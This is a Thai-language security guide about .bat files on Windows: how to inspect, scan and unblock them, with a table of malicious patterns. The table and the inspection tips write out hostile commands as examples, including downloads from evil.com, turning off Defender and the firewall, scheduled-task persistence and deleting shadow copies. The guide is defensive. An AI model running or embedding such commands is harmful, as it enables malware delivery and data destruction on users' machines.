ไฟล์ .bat (Batch File) คืออะไร?
.bat (Batch File) คือไฟล์ Script ของ Windows ที่เก็บคำสั่ง Command Prompt (cmd.exe) ไว้รันตามลำดับ ใช้สำหรับ Automation, Repetitive Tasks, System Administration ไฟล์นี้ ไม่ใช่วิรัสโดยลักษณะ แต่ อาจเป็น Malware หากมาจากแหล่งไม่เชื่อถือได้
ทำไมถึงมีไฟล์ .bat ปรากฏบน Desktop?
| สาเหตุที่เป็นไปได้ | คำอธิบาย | ระดับความเสี่ยง |
| Software Installation | บางโปรแกรมสร้าง Shortcut/Script ไว้บน Desktop (เช่น VPN, Antivirus, Driver Updater) | ต่ำ (ถ้าเป็นโปรแกรมที่ติดตั้งเอง) |
| Malware/Adware | ดาวน์โหลดมาพร้อม Freeware, Crack, Keygen, Fake Installer → รันทำร้าย | สูง |
| Phishing/Social Engineering | ส่งมาทาง Email/Chat "Click to fix security" "Update driver" จริงๆ เป็น Malware | สูง |
| Legitimate Admin Script | IT Admin/ผู้ดูแลระบบวางไว้สำหรับ User รัน (เช่น Map Drive, Printer Setup) | ต่ำ (ถ้ามาจาก IT Dept) |
| User สร้างเอง | เขียน Script อัตโนมัติงาน (Backup, Cleanup, Network Config) | ต่ำ |
วิธีตรวจสอบว่าไฟล์ .bat ปลอดภัยหรือไม่
1. ดูเนื้อหาไฟล์ (Right-click → Edit / Open with Notepad)
@echo off
REM Comment line
ipconfig /flushdns
netsh winsock reset
netsh int ip reset
shutdown /r /t 0
- อ่านคำสั่ง: เข้าใจไหม? ทำอะไร? (ipconfig, netsh, shutdown, powershell, curl, wget, bitsadmin, reg add, schtasks)
- ดู URL/IP แปลกๆ: `curl https://evil.com/payload.exe`, `powershell -enc ...`
- ดู Obfuscation: ตัวอักษรแปลก, Base64 Encoded, Variable แบบสุ่ม
2. ตรวจสอบ Properties
- Right-click → Properties → Details / Digital Signatures
- มี Digital Signature จากบริษัทที่เชื่อถือได้ไหม? (Microsoft, Vendor เนมเนม)
- Date Created / Modified เมื่อไหร่? ตรงกับเวลาที่ติดตั้งโปรแกรมไหม?
3. สแกนด้วย Antivirus/EDR
- Right-click → Scan with Windows Defender / Antivirus ที่ติดตั้ง
- Upload ไป VirusTotal.com (สแกน 70+ Engine)
- ใช้ Hybrid Analysis, Any.Run (Sandbox Analysis)
4. ตรวจสอบตำแหน่งไฟล์จริง (Shortcut vs Real File)
- Right-click → Open File Location → ไฟล์จริงอยู่ที่ไหน?
- Desktop จริง: `C:\Users\\Desktop\`
- Public Desktop: `C:\Users\Public\Desktop\` (All Users)
- Startup Folder: `shell:startup` หรือ `shell:common startup`
Windows Security Warning "These files might be harmful" - แก้ไขยังไง?
เตือนนี้ขึ้นเมื่อรัน .bat/.exe/.ps1 จาก Network Drive / UNC Path / Internet Zone ไม่ใช่ Local Disk
วิธีแก้ (สำหรับไฟล์ที่เชื่อถือได้เท่านั้น)
- Right-click ไฟล์ → Properties → แท็บ General
- ติ๊ก Unblock (ถ้ามี) → Apply → OK
- หรือ: รัน PowerShell Admin →
Unblock-File -Path "C:\Path\file.bat"
ปรับ Internet Explorer/Edge Security Zones (Legacy)
- Win + R → `inetcpl.cpl` → Enter
- แท็บ Security → Local Intranet → Sites → Advanced
- Add IP/Hostname ของ File Server / NAS → Close → OK
- Custom Level → Launching applications and unsafe files → Enable (not secure) → OK → Yes
⚠️ คำเตือน: การตั้งค่านี้ลดความปลอดภัย ควรทำเฉพาะไฟล์/โฟลเดอร์ที่เชื่อถือได้ 100%
Batch File อันตรายทั่วไป (Malicious Patterns)
| Pattern | ตัวอย่าง | วัตถุประสงค์ |
| Download & Execute | curl -o malware.exe https://evil.com/payload.exe & start malware.exe | Dropper/Downloader |
| PowerShell Encoded Command | powershell -enc JABjAGwAaQ... (Base64) | Bypass AV, Obfuscation |
| Disable Defender/Firewall | Set-MpPreference -DisableRealtimeMonitoring $true; netsh advfirewall set allprofiles state off | Disable Protection |
| Persistence (Scheduled Task/Registry) | schtasks /create /sc onlogon /tn "Update" /tr "malware.bat" /rl highest | Survive Reboot |
| Credential Theft | mimikatz, laxss, sharpdpaapi commands | Steal Password/Token |
| Ransomware | cipher /w, vssadmin delete shadows, encrypt files | Encrypt Data |
| Crypto Miner | xmrig.exe, config.json, pool address | Mine Crypto |
Best Practices จัดการ .bat File
- ไม่ดับเบิลคลิก .bat จากแหล่งไม่รู้จัก (Email, Download, USB, Chat)
- อ่านโค้ดก่อนรันทุกครั้ง (Right-click → Edit)
- เก็บ Script ของตัวเองในโฟลเดอร์เฉพาะ (เช่น `C:\Scripts\`) ไม่ใช่ Desktop
- ใช้ Code Signing Certificate ลงนาม Script สำคัญ
- ตั้งค่า Execution Policy PowerShell: `RemoteSigned` หรือ `AllSigned`
- ใช้ AppLocker / WDAC (Windows Defender Application Control) จำกัด Script ที่รันได้
- Backup ข้อมูลสำคัญ (3-2-1 Rule) เพื่อกู้คืนได้ถ้าโดน Ransomware
สรุป
ไฟล์ .bat บน Desktop → อ่านโค้ดก่อน (Right-click → Edit) → ตรวจสอบ Properties, Digital Signature → Scan VirusTotal → ถ้าไม่แน่ใจ ลบทิ้ง / Quarantine → รัน Antivirus Full Scan Windows Security Warning "might be harmful" = มาจาก Network/Internet Zone → Unblock ถ้าเชื่อถือได้ ไม่เชื่อถือ → ลบ